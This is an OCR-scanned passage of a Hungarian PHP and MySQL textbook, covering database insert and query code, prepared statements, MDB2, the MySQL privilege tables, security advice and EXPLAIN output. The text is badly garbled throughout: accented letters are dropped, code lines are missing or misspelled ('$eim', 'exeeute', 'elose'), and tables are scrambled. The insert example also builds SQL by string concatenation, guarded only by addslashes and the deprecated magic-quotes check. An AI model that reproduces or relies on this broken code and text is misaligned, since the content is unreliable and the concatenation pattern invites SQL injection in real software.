Azrt rdemes tudni ezt, mert ha tervezzk az eredmnyek feldolgozst vagy megjelentst, a sarok szma alapjn ciklus
$i <$talalatok_szama;
$i++)
ll eredmnyek feldolgozsa
meg. Ha a lekrdezs egyetlen sort sem ad vissza, akkor a ciklus nem fut le. A fggvny egyenknt veszi az eredmnyhalmaz
sorait s tmbknt adja vissza azokat, amely tmbben rninden kulcs egy oszlopnv, s rninden rtk az annak megfelel rtk:
$sor = $talalat->fetch_assoc();
Mivel adott a $sor tmb, minden egyes mezn vgigmehetnk, s megfelelkppen megjelenthetjk azokat, ahogy tesszk
";
echo stripslashes($sor['isbn'));
Mint mr emltettk, a stripslashes ( ) fggvnyt azrt hvjuk meg. hogy megjelents eltt rendbe rakjuk az rtket.
row () fggvnnyel pldul elnevezett kulcsokkal rendelkez tmb helyen szmokkal indexelt tmbben kapjuk vissza az ered
vagy gy:
A tulajdonsgrtkek a $sor [O], $sor [l) stb. tmbrtkekbe kerlnek. (A mysqli_fetch_array () fggvnnyel
illetve
$sor = mysqli fetch_object($talalat);
187
vagy a
mysqli_free_result($talalat);
vagy a
mysqli_close($adatbazis);
meghvsval szakthatjuk meg a kapcsolatot az adatbzissal. Nem felttlen van szksg erre a parancsra, mivel a kapcsolat
akkor is lezrdik, ha a kd befejezi a futst.
j informci
felvitele az adatbzisba
j elemek adatbzisba trtn felvitele mdfelett hasonlt ahhoz a folyamathoz, amikor adatokat nyernk ki az adatbzisbL
Ugyanazokat az alapvet lpseket kvetjk: kapcsolatot ltestnk, lekrdezst kldnk, s ellenrizzk az eredmnyeket.
Ebben az esetben azonban az elkldend lekrdezs SELECT helyett INSERT.
Br a folyamat hasonl, rdemes mgis egy pldn kereszrl megvizsglni. A 11.3 brn egyszer HTML rlapot lrunk,
amivel knyveket lehet felvinni az adatbzisba. Az oldal HTML kdjt a 11.3 pldakd tartalmazza.
Book-0-Rama
- j knyv felvitele
:st-------
11.3 bra: A Book-O-Rama alkalmazottai ilyenfelletet hasznlhatnak a knyvek adatbzisba val fel vitelre.
11.3 pldakd: uj_konyv.html-A knyvekfelvitelre szolgl oldal HTML kdja
<html>
<head>
<title>Book-0-Rama - j
knyv felvitele</title>
</head>
<body>
<hl>Book-0-Rama - j knyv felvitele</hl>
<form action="konyv_beszurasa.php" method="post">
<table border="O">
<tr>
<td>ISBN</td>
<td><input type="text" name="isbn" maxlength="l3" size="l3"></td>
</tr>
<tr>
<td>Szerz</td>
<td> <input type="text" name="szerzo" maxlength="30" size="30"></td>
</tr>
<tr>
<td>Cm</td>
<td> <input type="text" name="cim" maxlength="60" size="30"></td>
</tr>
<tr>
<td>r $</td>
ll
188
ll. fejezet
ll
</html>
Az rlap eredmnyeit a konyv _beszurasa. php adja tovbb, ez az a kd, amely fogja a rszleteket, elvgez nhny aprbb
ellenrzst, majd megksrli berni az adatokat
az
<html>
<head>
<title>Book-0-Rama
knyvfelviteli eredmnyek</title>
</head>
<body>
<hl>Book-0-Rama knyvfelviteli eredmnyek</hl>
<?php
! $szerzo
l l
l l
! $eim
l l
! $ar)
exit;
' boakorama',
'bookoramal 23',
'konyvek');
if (mysqli connect_errno())
echo "Hiba:
Krjk,
prblkezzon
ksbb'";
exit;
'". $szerzo."''
'".$eim."',
'".$ar."')";
$talalat = $adatbazis->query($lekerdezes);
if ($talalat)
echo $adatbazis->affected_rows." db knyv hozz lett adva az adatbzishoz.";
else
echo "Hiba trtnt. A knyvet nem sikerlt hozzadni.";
189
$adatbazis->elose();
?>
</body>
</html>
ll
\
11.4 bra: A
Ha megvizsgljuk a
k onyv_beszurasa.php
kdjt, ltharjuk, hogy nagyrszt hasonl ahhoz a kdhoz, amit azrt rrunk,
hogy adatot nyerjnk vissza az adatbzisbL Ellenrizzk, hogy az rlap minden mezje ki lett-e tltve, majd - ha szksges addslashes()
az
if (!get_magie_quotes_gpe())
$isbn = addslashes($isbn);
$szerzo = addslashes($szerzo);
$eim = addslashes($eim);
$ar = doubleval($ar);
Mivel az rat float tpus adatknt troljuk az adatbzisban, nem kivnunk perjeleket beletenni. E numerikus mez esetben
a PHP gyorstalpal cm, legels fejezetbl megismert
doubleval
'".$szerzo."',
'".$eim."',
'".$ar."')";
$talalat = $adatbazis->query($lekerdezes);
mysqli_query
adatbzison.
Az INSERT s a SELECT kztt jelents klnbsg van a
() hasznlatban. Procedurlis
Az elz kdban a
() segtsgvel llaptottuk meg, hogy hny sort adott vissza a SELECT lekrdezs.
INSERT, DELETE
?,
?,
kdban:
?)";
$utasitas = $adatbazis->prepare($lekerdezes);
$utasitas->bind_param(" sssd",
$isbn,
$szerzo,
$eim,
$ar);
$utasitas->exeeute();
echo $utasitas->affeeted_rows.' db knyv hozz
$utasitas->elose();
lett adva az
adatbzishoz. ';
190
ll. fejezet
Nzzk t a kdot sorrl sorra! Amikor ltrehozzuk a lekrdezst, a korbban alkalmazott vltoz-behelyettests helyett
krdjeleket tesznk az egyes adatok helyre. Nem szabad sem idzjeleket, sem egyb hatrol karaktert raknunk a kr
djelek kr. A msodik sor az $adatbazis->prepare() meghvsa; procedurlis vltozat esetn ez a mysqli _stmt_
prepare
() meghvsa lesz. Ez a sor hozza ltre az utastsobjektumot vagy erforrst, amit majd a tnyleges feldolgozs
().) A metdus feladata kzlni a PHP-vel, mely vltozk kerlnek a krdjelek helyre. Az els para
mter egy formrum karakterlnc, hasonl ahhoz, amelyet a printf() fggvnyben hasznlunk. A pldban radott rtk
ll
(" sssd" ) azt jelenti, hogy a ngy paramter string. string. string. illetve double tpus. A formrum karakterlncban kt
tovbbi karakter hasznlhat: i s b, amelyek az integer, illetve a blob tpusokat jellik. E paramter utn annyi vltozt kell
felsorolni, ahny krdjel szerepel az utasts ban. A megadott sorrendben lesznek behelyerrestve.
Az $utasi tas->execute() (procedurlis vltozat esetn a mysqli_stmt_execute ()) meghvsa futtatja le magt
a lekrdezst. Ezt kveten frnk hozz az rintett sorokhoz, s zrjuk le az utastst.
Mirt hasznos teht a fenti elfordtott utasts? Az benne a szp, hogy ha megvltoztatjuk a ngy kttt vltoz rtkr,
anlkl futtathatjuk le jbl az utastst, hogy mg egyszer meg kellene rnunk. Igen praktikus tud lenni, arnikor ciklust hasz
nlunk tmeges adatfelvitelnL
Nem csak a paramtereket lehet"megktni'; hanem az eredmnyeket is. SELECT tpus lekrdezseknl az $utas itas
>bind_result
szeremnk az eredmnyoszlopokba betltemi. Minden egyes alkalommal, amikor meghvjuk az $utas itas->fetch ()-t
(illetve a mysqli_stmt_fetch ()-t), az eredmnyhalmaz kvetkez sorban lv oszloprtkek betltdnek ezekbe a kttt
vltozkba. A korbban hasznlt, knyvkeres kdban pldul a kvetkezt hasznlhatnnk:
$utasitas->bind_result($isbn,
$szerzo,
$eim,
$ar);
Ezzel a lekrdezs ltal majd visszaadand ngy oszlophoz kmnk ezt a ngy vltozt. Az
$utasitas->execute();
Minden meghvsakor a kvetkez eredmnysort rakja be a ngy kttt vltozba. Ugyanebben a kdban termszetesen
hasznlhatnnk amysqli stmt_bind_param() s a mysqli stmt_bind_result() fggvnyt is.
191
if (!$keresesi_tipus
l l
ll
1$keresesi_kfeJezes)
exit;
if (!get_magic_quotes_gpc())
$keresesi_tipus = addslashes($keresesi_tipus);
$keresesi kifejezes
addslashes($keresesi kfejezes);
ll kapcsolds az adatbzishoz
$adatbazis = &MDB2::connect($dsn);
echo $adatbazis->getMessage();
exit;
ll lekrdezs vgrehajtsa
Slekerdezes = "SELECT *
ll az eredmny ellenrzse
if (MDB2::isError($talalat))
echo $adatbazis->getMessage();
exit;
$i <$talalatok_szama;
$i++)
192
ll. fejezet
ll
echo stripslashes($sor['ar']);
echo "</p>";
Vizsgljuk meg. miben klnbzik ez a kd korbbi vltozattl! Az adatbzishoz kapcsoldsra az albbi sort hasznljuk:
$adatbazis = MDB2::connect($dsn);
A fggvny egy univerzlis kapcsoldsi karakterlncot fogad el, amely az adatbzishoz kapcsoldshoz szksges minden
paramcert tartalmaz. Eze akkor lchaguk, ha a kapcsoldsi karakterlnc formcumra nznk:
$dsn = "mysqli://".$felhasznalo.":".$jelszo."@".$host."/".$adatbazis_name;
Eze kveten az isError () mecdus segtsgvel ellenrizzk, sikerlc-e a kapcsolds, ha nem, a hibazenet kirsa utn
a kd vgrehajtsa vget r:
if (MDB2::isError($adatbazis))
echo $adatbazis->getMessage();
exit;
Az lcalnos fetchRow() mecdus szmralan formban kpes kezelni a sorokat; az MDB2_ FETCHMODE _ASSOC param
terrel azt kzljk, hogy asszociatv tmbknt kivnjuk visszakapni a sort.
A visszakapott sorok kimenere utn megszncegk a kapcsoldst:
$adatbazis->disconnect();
Tovbbi olvasnival
A MySQL s a PHP sszekapcsolsrl a PHP s a MySQL kziknyvek megfelel rszeiben olvashacunk bvebben.
Ha az ODBC-rl szeretnnk tovbbi informcit, ltogassunk el a http:/ /www.webopedia.com/TERM/0/0DBC.htm! oldalra!
Hogyan tovbb?
A kvetkez fejezetben rszleeesebben foglalkozunk a MySQL-adminisztrcival, s megvizsgljuk, hogyan optimalizljuk az
adatbzisokat.
12
Halad
MySQL
...
adminisztrci
A most kvetkez fejezetben halad szint MySQL-tmakrkkel foglalkozunk, kztk a jogosultsgokkal, a biztonsggal s
az
optimalizlssal.
A fejezetben rintert fbb terletek:
A jogosultsgi rendszer alaposabb megismerse
MySQL adatbzisunk biztonsgoss ttele
Tovbbi informcik begyjtse az adatbzisokrl
Gyorsabb mkds indexekkel
Adatbzisunk optimalizlsa
Biztonsgi ments s helyrellts
Replikci megvalstsa
utastst! Miutn ezt megtertk, a szoksos mdon tekinthetjk meg az ebben az adatbzisban lv tblkat:
show tables;
columns_priv
db
event
fu ne
general_log
help_category
help_keyword
help_relation
help_topic
host
ndb_binlog_index
plugin
proc
procs_priv
servers
slow_log
194
12. fejezer
tables_priv
time
zone
time
time
zone name
zone transition_type
user
+---------------------------+
priv
- trolja a jogosultsgi informcikat. (Angolul grant tblkknt is szoks hivatkozni rjuk.) Funkcijukban
ugyan eltrnek egymsrl, de ugyanazt az ltalnos feladarot ltjk el: meghatrozzk, hogy az egyes felhasznlk mit jogosul
rak megrenni. Mindegyik kr mezrpust tartalmaz: harkrmezket, amelyek a felhasznlt, a kiszolglr s az adatbzis azon
rszt hatrozzk meg, amelyikre a jogosultsg vonatkozik; s a jogosulrsgi mezker, amelyek azt szablyozzk, hogy az adott
12
tables _priv
db
a columns_priv tbla pedig azt hatrozza meg, hogy a tblkon bell mely oszlopokat ri el. Aprocs_priv tblbl azt
tudjuk meg, hogy milyen rutinokat futtathat a felhasznl.
user
use r
tbla
tbla a globlis felhasznli jogosultsgok rszleteit tartalmazza. Szablyozza, hogy az adott felhasznl jogosult-e
egyltaln a MySQL kiszolglhoz kapcsoldni, illetve rendelkezik-e brmilyen globlis szint- vagyis a rendszer sszes adat
bzisra rvnyes -jogosultsggal.
A tbla szerkezett a describe
12.1 tblzat: A mysql
adatbzis
user;
user
utasts segtsgvel ismerhetjk meg. A user tbla smja a 12.1 tblzatban lthat.
tbljnak smja
Mez
Tpusa
Host
varchar(60)
User
varchar(l6)
Password
varchar(41)
Select_priv
enum('N', 'Y')
Insert_priv
enum('N', 'Y')
Update_priv
enum('N','Y')
Delete_priv
enum('N', 'Y')
Create_priv
enum( 'N','Y')
Drop_priv
enum('N','Y')
Reload_priv
e num('N', 'Y')
Shutdown priv
e num('N','Y')
Process_priv
File priv
enum('N','Y')
Grant_priv
enum('N','Y')
References_priv
enum('N','Y')
Index_priv
enum('N','Y')
Alter_priv
enum('N', 'Y')
Show_db_priv
enum( 'N','Y')
Super_priv
Create tmp_table_priv
e num('N', 'Y')
Lock_tables_priv
enum('N','Y')
Execute_priv
enum('N','Y')
Repl slave_priv
e num ('N','Y')
Halad MySQL-adminisztrci
Mez
Tpusa
Repl_client_priv
enum('N' ,
Create_view_priv
e num('N' ,
'Y')
Show_view_priv
e num('N' ,
'Y')
'Y')
Create_routine_priv
enurn(' N' ,
'Y')
Alter_routine_priv
enum('N' ,
'Y')
Create_user_priv
enum('N' ,
'Y')
Event_priv
enum('N' ,
'Y')
Trigger_priv
ssl_type
ssl_cipher
b lob
x509 issuer
blob
x509 subject
blob rnax_questions
max_updates
int(ll)
unsigned
max connections
int(ll)
unsigned
int(ll)
unsigned
int(ll)
unsigned
12
A tblzat egyes sorai a Host szmitgprl rkez, User nev, a P assword jelszval bejelentkez felhasznl jogosults
gainak felelnek meg. Ezek a tblzat hatkrmezi (scope fi.eld), amelyek a tbbi, gynevezett jogosu/tsgi mez (privilege fi.eld)
hatkrt rjk le.
Az ebben a tblban felsorolt (s a tbbi tbla ltal kvetend) jogosultsgok a 9. fejezetben a GRANT utastssal kiosztott
jogosultsgoknak felelnek meg. A Se l ect_pr iv
Amennyiben a felhasznl rendelkezik adott jogosultsggal, az ahhoz tartoz oszlop rtkeY . Ha a felhasznl nem kapott
meg valamely jogosultsgot, akkor az ahhoz tartoz rtk viszone N.
A user tbla ltal felsorolt jogosultsgok mindegyike globlis; ez azt jelenti, hogy a rendszerben
lv minden adatbzisra
(gy a rnysql adatbzisra is) rvnyesek. Rendszergazdk esetben itt szmos jogosultsg esetnY rtker tallunk, de a fel
hasznlk tbbsgnl N kell, hogy lljon. Az ltalnos felhasznlknak a megfelel adatbzisokra, nem pedig az sszes tblra
rvnyes jogosultsgokkal kell rendelkeznik.
A db s a h os t tbla
Az tlagos felhasznlk jogosultsgainak jelents rszt a db s a host tbla trolja.
A db tbla azt hatrozza meg. hogy mely felhasznlk melyik adatbzisokhoz s honnan (melyik hostokrl) frhetnek hoz
z. Az ebben a tblban felsorolt jogosultsgok az adott sorban megnevezett adatbzisra irnyulnak.
A host tbla kiegszti a user s a db tblt. Ha egy felhasznl tbb gprl csatlakozhat, a user s a db tbla
nem fogja felsorolni ezeket a hostokat. A felhasznlnak ehelyett tbb bejegyzse lesz a host tblban, amelyek az egyes
felhasznl-host kombincikhoz tartoz jogosultsgokat szablyozzk.
rnysql
195
Mez
Tpusa
Host
char(60)
Db
char(64)
User
char(16)
Select_priv
enum('N' ,
Insert_priv
enum('N' ,
'Y')
'Y')
Update_priv
enum('N' ,
'Y')
Delete_priv
enum('N' ,
'Y')
Create_priv
e num('N' ,
'Y')
Drop_priv
enum('N' ,
'Y')
Grant_priv
enum('N' ,
'Y')
References _priv
enum('N' ,
'Y')
Index_priv
enum('N' ,
'Y')
Alter_priv
e num('N' ,
'Y')
196
12. fejezet
Mez
Tpusa
Create_tmp tables_priv
enum('N', 'Y')
Lock_tables_priv
enum('N','Y')
Create_view_priv
enum('N','Y')
Show_view_priv
enum('N', 'Y')
Create_routine_priv
enum('N', 'Y')
Alter_routine_priv
enum('N','Y')
Execute_priv
enum('N', 'Y')
Event_priv
enum('N', 'Y')
Trigger_priv
enum('N','Y')
12
tbljnak smja
Mez
Tpusa
Host
char(60)
Db
char(64)
Select_priv
enum('N','Y')
Insert_priv
enum('N', 'Y')
Update_priv
enum ('N','Y')
Delete_priv
enum('N', 'Y')
Create_priv
e num('N','Y')
Drop_priv
enum('N','Y')
Grant_priv
enum('N','Y')
References_priv
enum('N', 'Y')
Index_priv
enum('N', 'Y')
Alter_priv
enum ('N','Y')
Create tmp_tables_priv
enum( 'N','Y')
Lock_tables_priv
enum('N','Y')
Create_view_priv
enum('N','Y')
Show_view_priv
enum('N', 'Y')
Create routine_priv
enum('N', 'Y')
Alter_routine_priv
enum('N', 'Y')
Execute_priv
enum('N','Y')
Trigger_priv
enum('N', 'Y')
A tables_pr i v,
az
Mez
Tpusa
Host
char(60)
Db
char(64)
User
char(16)
Table name
char(60)
Grantor
char(77)
Timestarop
timestarop(14)
Table_priv
set('Select', 'Insert',
'Update', 'Delete',
'Create',
'Show view',
'Trigger'))
Halad MySQL-adminisztrci
Mez
Tpusa
Host
char(60)
Db
char(64)
User
char(16)
Table name
char(64)
Column name
char(64)
Timestarop
timestamp(14)
Column_priv
set('Select',
'Insert',
'Update',
'Re ferences')
Mez
Tpusa
Host
char(60)
Db
char(64)
User
char(16)
12
Routine name
char(64)
Routine_type
enum('FUNCTION',
Grantor
char (77)
'PROCEDURE')
Proc_priv
Timestarop
timestarop(14)
A tables_priv s procs
nevt trolja. A tblk
pr i v
Timestamp
tbla
Grantor
user
s a jelsz alapjn trtnik. Az res felhasznli nv azt jelzi, hogy minden felhasznl kapcsoldhat. A h osztnevek
meghatrozsnak hasznlhatunk dzskerkaraktert (%). Lehet ez a teljes mez tartalma (ami azt jelenti, hogy minden
hoszt megengedett) vagy a h osztnv egy rsze (a %. tangledweb. com. au esetn pldul a . tangledweb. com.
au-ra vgzd sszes hosztnv megfelel). Az res jelszmez azt jelenti, nincs szksg jelszra. Rendszernk bizton
sgosabb lesz, ha nem engedlyezzk az res felhasznli nevet, a h osztnevekben a dzskerkarakterek hasznlatt s
a jelsz nlkli felhasznlkat. Ha a hosztnv res, a MySQL a
host
user
s host be
jegyzst.
2. Krs ellenrzse. Minden egyes alkalommal, amikor a kapcsolat ltrehozsa utn krst intznk a kiszolglhoz,
a MySQL ellenrzi, hogy rendelkeznk-e a krs vgrehajtshoz szksges jogosultsggal. A rendszer elszr globlis
jogosultsgainkat ellenrzi (a user tblban), majd- ha ez nem elgsges- a
db
rendelkeznk elegend jogosultsggal, a MySQL ellenrzi a tables_pr i v tblt, s ha ez mg mindig nem elg, vgl
a
columns_pri v
la helyett a
procs _priv
tables_priv
s a
columns_priv
tb
GRANT
s a
REVOKE
gi tblkat. Most, hogy megrudtuk, a MySQL hol s mikppen trolja a jogosultsgokat, akr sajt kezleg is megvltoztathat
juk ezeket. Ha azonban ily mdon frissgk ket, a MySQL szerver nem fogja szrevenni, hogy a jogosultsgok megvltoztak.
Tudatnunk kell a kiszolglval, hogy vltozs trtnt, ezt pedig hromflekppen tehetjk meg. Begpelhetjk a MySQL
parancssorba a
FLUSH
PRIVILEGES;
utastst (a parancs hasznlathoz rendszergazdaknt kell bejelentkeznnk). Ez a jogosultsgok frisstsnek taln leggyakrab
ban hasznlt mdja.
197
198
12. fejezet
vagy a
mysqladmin reload
utastst.
Ezt kveten a globlis szint jogosultsgok ellenrzse a legkzelebbi felhasznli kapcsoldskor fog vgbemenni; az
adatbzis-jogosultsgok ellenrzst a u se utasts soron kvetkez hasznlata, a tbla- s oszlopszint jogosultsgok ellen
rzst pedig a felhasznl kvetkez krse vltja ki.
Apache honlapjt is ezzel sikerlt feltrni. (Szerencsre a hackerek "fehr kalaposak" voltak (vagyis j fik), egyeden cljuk az volt,
hogy szigorbb tegyk az oldal biztonsgt.)
rdemes ltrehozni egy MySQL-felhasznlt kifejezetten a mysqld futtatsra. Ezen tlmenen azt is megtehetjk, hogy
a knyvrtakat (ahol a fi:zikai adatokat ttoljuk) csak a MySQL-felhasznl sztnta tesszk elrhetv. Szmos teleptsnl a ki
szolgl gy van belltva, hogy mysql felhasznli azonostval (userid-vel) a mysql csoportban fusson.
MySQL kiszolglnk idelis esetben tzfalunk mgtt helyezkedik el. Ezzel lehetv vlik, hogy megtagadjuk a jogosulatlan
gpek kapcsoldst. Ellenrizzk, hogy a 3306-os szm porton keresztl tudunk-e kivlrl csatlakozni kiszolglnkhoz! Ez az
alaprtelmezett port, amelyen a MySQL fut, s ezt le kell zrni tzfalunkon.
Jelszavak
Gondoskodjunk arrl, hogy minden felhasznlnk (klnsen a root!) rendelkezzen az opercis rendszer jelszavhoz hasonl
gondossggal megvlasztott s rendszeresen vltoztatott jelszvall Az alapszably, amit soha nem szabad elfelejteni, hogy a rszben
vagy egszben sztri szbl ll jelsz, bizony. nem j vlaszts. A legjobb a betk s szmok kombincija.
Amennyiben kdfjlokban fogjuk rtoini a jelszavakat, gyeljnk, hogy csak az a felhasznl lthassa az adott kdot, akinek
a jelszavt abban ttoljuk!
Az adarbzishoz kapcsoldshoz hasznlt PHP kdoknak rtelemszeren hozz kell frnik az adott felhasznl jelszavhoz.
Ezt gy lehet kellen biztonsgosan megvalstani, ha a felhasznli nevet s a jelszt- mondjuk- egy dbconnect. php nev
fjlba tesszk, amit szksg esetn beszrunk A kdot a webes dokumentumf.in kvl kell trolni, s csak a megfelel felhasznl
szmra szabad elrhetv tenni.
Ne feledjk, hogy ha
. inc
vagy valamilyen ms kiterjeszts fjlban troljuk ezeket a rszleteket, meg kell bizonyosadnunk
arrl, hogy a webszerver risztban van azzal, hogy PHP-knt kell rtelmeznie e fjlokat, nehogy bngszn keresztl egyszer
szvegknt megtekinthetk legyenek ezek a titkos adatok!
Ne troljuk adatbzisunkban a jelszavakat egyszer szvegknt! A MySQL jelszavak nem gy troldnak, de webes alkal
mazsoknl gyakran elfordul, hogy trolni kvnjuk az oldal tagjainak felhasznli nevt s jelszavt. A jelszavakat a MySQL
password
( ) fggvnyvel lehet (egy irnyban) ritkostani. Jegyezzk meg, hogy ha ebben a formban sztjuk be a jelsz t, gy
akkor, arnikor- a felhasznl belptetshez- futtatjuk a SELECT utastst, ugyanezt a fggvnyt kell hasznlni ahhoz is, hogy
ellenrizzk a felhasznl ltal begpelt jelszt!
Az V., Gyakorlati PHP s MySQL projektekfejlesztse m rszben a projektek megvalstsnl fogjuk kihasznlni ezt a funkcir.
Felhasznli jogosultsgok
A tuds hatalom. Gyzdjnk meg arrl, hogy megrtettk a MySQL jogosultsgi rendszert s az egyes jogosultsgok Ici
osztsnak kvetkezmnyeit! Egyeden felhasznlt se ruhzzunk fel tbb jogosultsggal, mint amennyire szksge van! Ezt
a jogosultsgi tblkban ellenrizhetjk.
Halad MySQL-adminisztrci
Klnskppen ne osszunk ki PROCESS, FILE, SHUTDOWN s RELOAD jogosultsgot az egyetlen rendszergazdn kvl
ms felhasznlknak, legfeljebb rendkvl indokolt esetben! A PROCESS jogosultsggal ltni lehet, hogy mit tesznek s mit
gpelnek be ms felhasznlk (gy jelszavuk is megszerezhet). A FILE jogosultsggal fjlokat lehet olvasni s rni az operci
s rendszerbl, illetve az opercis rendszerbe (pldul Unix rendszerben az /etc/password knyvtrba).
A GRANT jogosultsg kiosztsval is csnjn kell bnni, mert lehetv teszi a felhasznlknak, hogy sajt jogosultsgaikat
megosszk msokkal.
Felhasznlk ltrehozsnl gyeljnk, hogy csak azokrl a hasztokrl engedlyezzk szmukra a hozzfrst, amelyekrl
csatlakozni fognak! Pldul egy j ane@localhost felhasznl teljesen rendben van, de szimpln a j ane tl gyakori, s
brhonnan bejelentkezhet - st lehet, hogy nem is az a j ane, akinek gondoljuk. Hasonl okokbl kerljk a hoszmevekben
a dzskerkarakterek hasznlatr!
A biztonsgot tovbb ersthetjk, ha a host tblban a domainnevek helyett IP-cmeket hasznlunk. Ily mdon elke
rlhetjk a DNS kiszolglnknl jelentkez hibk vagy crackerek okozta problmkat. gy rhetjk ezt el, ha a MySQL
daernonea--s kip-name- res olve belltssal indtjuk el, ami azt eredmnyezi, hogy minden host oszloprtknek IP
mnek vagy helyi gpnek (localhost) kel! lennie.
Clszer elkerlni, hogy a nem rendszergazda felhasznlk hozzfrjenek a webszerveren fut mysqladmin programhoz.
Mivel a program parancssorbl futtathat, a hozzfrs az opercisrendszer-jogosultsgok krdse.
Webes krdsek
MySQL adatbzisunk internertel trtn sszekapcsolsa klnleges biztonsgi krdseket ver fel.
rdemes azzal kezdeni, hogy kizrlag a webes kapcsolatok cljra ltrehozunk egy klnleges felhasznlt. gy lehets
gnk lesz arra, hogy csak a lehet legszkebb jogosultsggal ruhzzuk fel, s ne adjunk ennek a felhasznlnak pldul DROP,
ALTER vagy CREATE jogosultsgot. Csak a katalogus tblkra acijunk neki SELECT, s csak a megrendeles tblkra
INSERT jogosultsgot! Ismt egy j plda arra, hogyan alkalmazzuk a legkisebb jogosultsg elvt.
l
Figyelmeztets: Az elz fejezetben bemutattuk, hogyan lehet a PHP addslashes () s stripslashes () fggv
nyvel megszabadtani a karakterlncokat a problms karakterektL Fontos, hogy ne Jeledkezznk meg errl, s mieltt
brmit elkldennk a MySQL-nek, hajtsunk rajta vgre ltalnos adattiszttst. Emlkezhetnk r, hogy a doubleval ()
fggvnnyel azt ellenriztk, hogy a numerikus adat tnylegesen numerikus volt-e. Ennek elmulasztsa gyakori hiba; az
addslashes
Minden esetben ellenriznnk kell a felhasznlktl rkez minden adatot. Mg akkor is, ha HTML rlapunk csak jell
ngyzetekbl s vlasztgombokbl ll, megvltoztathatjk az URL-t, hogy megprbljk feltrni kdunkat. Ugyangy rde
mes a bejv adatok mrert is ellenrizni.
Amennyiben a felhasznlk adatbzisunkban eltroland jelszavakar vagy ms bizalmas informcikat gpelnek be, ne
feledjk, hogy a bngsz egyszer szvegknt tovbbtja azokat a kiszolglnak - kivve, ha Secure Sockets Layer (SSL) kap
csolatot hasznlunk! Errl rszletesebben olvashatunk majd knyvnk egy ksbbi rszben.
TABLES;
DATABASES;
TABLES
199
12
200
12. fejezet
Amikor adatbzis meghatrozsa nlkl hasznljuk a SHOW TABLES utastst, az aktulisan hasznlt adatbzisra fog vo
natkozni.
Ha mr tudjuk, milyen tblk vannak, a kvetkezkppen kapjuk meg az oszlopok listjt:
SHOW COLUMNS FROM megrendelesek FROM konyvek;
Ha kihagyjuk az adatbzis nevt, a SHOW COLUMNS utasts az aktulisan hasznlt adatbzisra fog vonatkozni.
Hasznlhaguk a tabla.oszlop megjellst is:
SHOW COLUMNS FROM konyvek.megrendelesek;
A SHOW utasts egy msik igen hasznos vltozatval kiderthet, hogy milyen jogosultsgokkal br egy adott felhasznl. A
SHOW GRANTS FOR bookorama;
+------------------------------------------------------------------------+
12
'bookorama'@'%'
INSERT,
'konyvek'.* TO
UPDATE,
DELETE,
CREATE,
DROP,
INDEX,
ALTER
'bookorama'@'%'
+------------------------------------------------------------------------+
Az itt lthat GRANT utastsok nem szksgszeren azok, amelyekkel az adott felhasznl megkapta meglv jogosults
gait, inkbb olyan egyenrtk utastsok sszefoglalsa, amelyek a felhasznl jelenlegi jogosultsgi szingt eredmnyeznk.
A SHOW utasts szmtalan ms vltozatban hasznlhat, valjban tbb mint harminc klnbz vltozata ltezik.
A gyaktabban hasznltakat a 12.7 tblzatban lthatjuk. A teljes listrt olvassunk bele a MySQL kziknyvbe (hrrp://dev.
mysql.com/doc/refman/5.1/en/show.html)! A [LIKE_v agy_WHERE J
Lers
SHOW DATABASES
SHOW
[OPEN)
[LIKE_vagy_WHERE)
TABLES
[FROM adatbazis]
[LIKE_vagy_WHERE)
SHOW
[FULL)
adatbazis)
az
[FROM
[LIKE_vagy_WHERE)
[FROM
adatbazis]
az
SHOW
[GLOBAL
SESSION)
STATUS
vagy_WHERE)
[LIKE
az
[GLOBALISESSION)
VARIABLES
[LIKE_vagy_WHERE)
SHOW
[FULL)
PROCESSLIST
Halad MySQL-adminisztrci
201
Lers
\Tltozat
SHOW TABLE STATUS
[FROM adatbazis]
[LIKE_vagy_WHERE]
jelhasznala
SHOW PRIVILEGES
SHOW
meg.
CREATE DATABASE adatbazis
SHOW
jelenti meg.
[STORAGE] ENGINES
SHOW WARNINGS
[LIMIT
[eltolas,]
sorok_szama]
SHOW ERRORS
MySQLpragramazs
cm 13. fejezetben.)
[LIMIT
[eltols,] sorok
sz ama]
[oszlop];
Az utasts a tbla minden oszloprl, illetve- az oszlop meghatrozsa esetn-egy adott oszloprl ad informcit. Az
oszlopnvben tetszs szerint hasznlhatunk dzskerkaraktereket.
Ez a parancs ekkor a DESCRIBE tabla vagy a SHOW COLUMNS FROM tabla utastshoz hasonl eredmnyt ad.
A msodik s sokkal rdekesebb hasznlati md esetn az EXPLAIN ltni engedi szmunkra, pontosan miknt rtkel ki
a
MySQL egy adott SELECT lekrdezst. Ehhez nem kell mst tennnk, mint egyszeren az EXPLAIN szt berni a megfele
Az EXPLAIN utasts akkor nyer igazn rtelmet, amikor sszetett lekrdezst prblunk mkdsbe hozni, s egyrtel
men ltszik, hogy valami nem stimmel, vagy amikor egy lekrdezs feldolgozsa a kelletnl sokkal tovbb tart. Ha komplex
lekrdezst runk, az EXPLAIN parancs segitsgvel elzetesen, a lekrdezs tnyleges futtatsa eltt ellenrizhetjk. Az
utaststl visszakapott kimenet alapjn szksg esetn tdolgozharjuk az SQL kdot, hogy optimalizljuk. A fentiek miatt az
EXPLAIN
WHERE vasarlok.vasarloid
megrendelesek.vasarloid
AND megrendelesek.rendelesid
AND rendelesi_tetelek.isbn
konyvek.isbn
AND konyvek.cim
like
rendelesi_tetelek.rendelesid
'%Java%';
A lekrdezs az albbi kimenetet adja. (Azrt fgglegesen jelentjk meg, mert a tblzat sorai tl szlesek ahhoz, hogy
elfrjenek knyvnk oldalain. Ha pontosvessz helyett \G-vel zrjuk a lekrdezst, akkor kapjuk ezt a formtumot.)
12
202
12.fezet
***************************
2. row
***************************
SIMPLE
table:
possible keys:
***************************
id:
select type:
type:
l. row
megrendelesek
ALL
PRIMARY
key:
NULL
key_len:
NULL
ref:
NULL
rows:
Extra:
***************************
id:
select type:
12
table:
type:
l
SIMPLE
rendelesi tetelek
ref
possible keys:
PRIMARY
key:
PRIMARY
key_len:
ref:
rows:
Extra:
4
konyvek.megrendelesek.rendelesid
l
Using index
***************************
id:
select type:
-
table:
type:
possible_keys:
SIMPLE
vasarlok
ALL
PRIMARY
key:
NULL
key len:
NULL
ref:
NULL
rows:
Extra:
3
Using where;
***************************
id:
select_type:
table:
type:
konyvek
PRIMARY
Extra:
join buffer
row ***************************
eq_ref
PRIMARY
rows:
4.
key:
ref:
Using
SIMPLE
possible keys:
key_len:
3. row ***************************
13
konyvek.rendelesi
tetelek.isbn
l
Using where
A kimenet elsre kicsit zavarosnak tnhet, de nagyon hasznos lehet. Vizsgljuk meg egyenknt a tblzat oszlopait!
